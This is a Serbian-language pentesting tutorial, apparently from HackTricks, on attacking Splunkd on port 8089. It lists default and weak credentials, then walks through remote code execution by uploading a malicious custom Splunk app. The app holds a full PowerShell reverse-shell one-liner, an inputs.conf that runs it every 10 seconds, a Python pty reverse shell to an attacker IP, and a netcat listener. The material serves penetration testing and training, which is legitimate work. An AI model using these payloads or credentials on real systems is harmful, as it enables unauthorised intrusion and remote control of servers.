8.6 KiB
8089 - Pentesting Splunkd
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Splunk je alat za analizu logova koji igra ključnu ulogu u prikupljanju, analiziranju i vizualizaciji podataka. Iako mu je prvobitna svrha bila da ne služi kao alat za SIEM (Security Information and Event Management), stekao je popularnost u oblasti monitoringa bezbednosti i analitike poslovanja.
Splunk implementacije se često koriste za skladištenje osetljivih podataka i mogu poslužiti kao vredan izvor informacija za potencijalne napadače ako uspeju da kompromituju sistem. Podrazumevani port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk veb server se podrazumevano pokreće na portu 8000. {% endhint %}
Enumeracija
Besplatna verzija
Splunk Enterprise probna verzija se pretvara u besplatnu verziju nakon 60 dana, koja ne zahteva autentikaciju. Nije neuobičajeno da sistem administratori instaliraju probnu verziju Splunk-a da je isprobaju, koja se kasnije zaboravi. Ovo će se automatski pretvoriti u besplatnu verziju koja nema nikakav oblik autentikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu odabrati besplatnu verziju zbog ograničenja budžeta, ne shvatajući potpuno posledice nemogućnosti upravljanja korisnicima/ulogama.
Podrazumevane akreditacije
Na starijim verzijama Splunk-a, podrazumevane akreditacije su admin:changeme
, koje su prikladno prikazane na stranici za prijavljivanje.
Međutim, najnovija verzija Splunk-a postavlja akreditacije tokom procesa instalacije. Ako podrazumevane akreditacije ne funkcionišu, vredi proveriti uobičajene slabe lozinke poput admin
, Welcome
, Welcome1
, Password123
, itd.
Dobijanje informacija
Nakon prijavljivanja na Splunk, možemo pregledati podatke, pokrenuti izveštaje, kreirati kontrole, instalirati aplikacije iz Splunkbase biblioteke, i instalirati prilagođene aplikacije.
Takođe možete pokrenuti kod: Splunk ima više načina za pokretanje koda, kao što su serverske Django aplikacije, REST endpointi, skriptovani ulazi i skripte za upozorenja. Čest način dobijanja izvršenja koda na daljinu na Splunk serveru je kroz korišćenje skriptovanog ulaza.
Osim toga, pošto se Splunk može instalirati na Windows ili Linux hostovima, skriptovani ulazi mogu biti kreirani da pokreću Bash, PowerShell ili Batch skripte.
Shodan
Splunk build
RCE
Kreiranje prilagođene aplikacije
Prilagođena aplikacija može pokretati Python, Batch, Bash ili PowerShell skripte.
Imajte na umu da Splunk dolazi sa instaliranim Python-om, tako da čak i na Windows sistemima možete pokrenuti python kod.
Možete koristiti ovaj Splunk paket da nam pomogne. bin
direktorijum u ovom repozitorijumu ima primere za Python i PowerShell. Hajde da prođemo kroz ovo korak po korak.
Da bismo postigli ovo, prvo moramo kreirati prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Direktorijum bin
će sadržati sve skripte koje nameravamo da pokrenemo (u ovom slučaju, PowerShell reverse shell), a podrazumevani direktorijum će imati naš inputs.conf
fajl. Naš reverse shell će biti PowerShell jednolinijski:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Fajl inputs.conf govori Splunku koji skript da pokrene i o biloj drugim uslovima. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunku da pokrene skript svakih 10 sekundi. Interval je uvek u sekundama, a ulaz (skripta) će se pokrenuti samo ako je ova postavka prisutna.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Potreban nam je .bat
fajl, koji će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednolinijski nalog.
Sledeći korak je odabrati Instaliraj aplikaciju iz fajla
i otpremiti aplikaciju.
Pre otpremanja zlonamerne prilagođene aplikacije, pokrenimo slušaoca koristeći Netcat ili socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Na stranici Upload app
, kliknite na browse
, izaberite tarball koji smo ranije kreirali i kliknite na Upload
. Čim uploadujemo aplikaciju, dobijamo reverse shell jer će se status aplikacije automatski promeniti na Enabled
.
Linux
Ako bismo imali posla sa Linux hostom, morali bismo urediti Python skriptu rev.py
pre kreiranja tarball-a i uploadovanja prilagođene zlonamerne aplikacije. Ostatak procesa bi bio isti, i dobili bismo reverse shell konekciju na naš Netcat listener i bili spremni za akciju.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Eskalacija privilegija
Na sledećoj stranici možete pronaći objašnjenje kako se ovaj servis može zloupotrebiti radi eskalacije privilegija i postizanja postojanosti:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.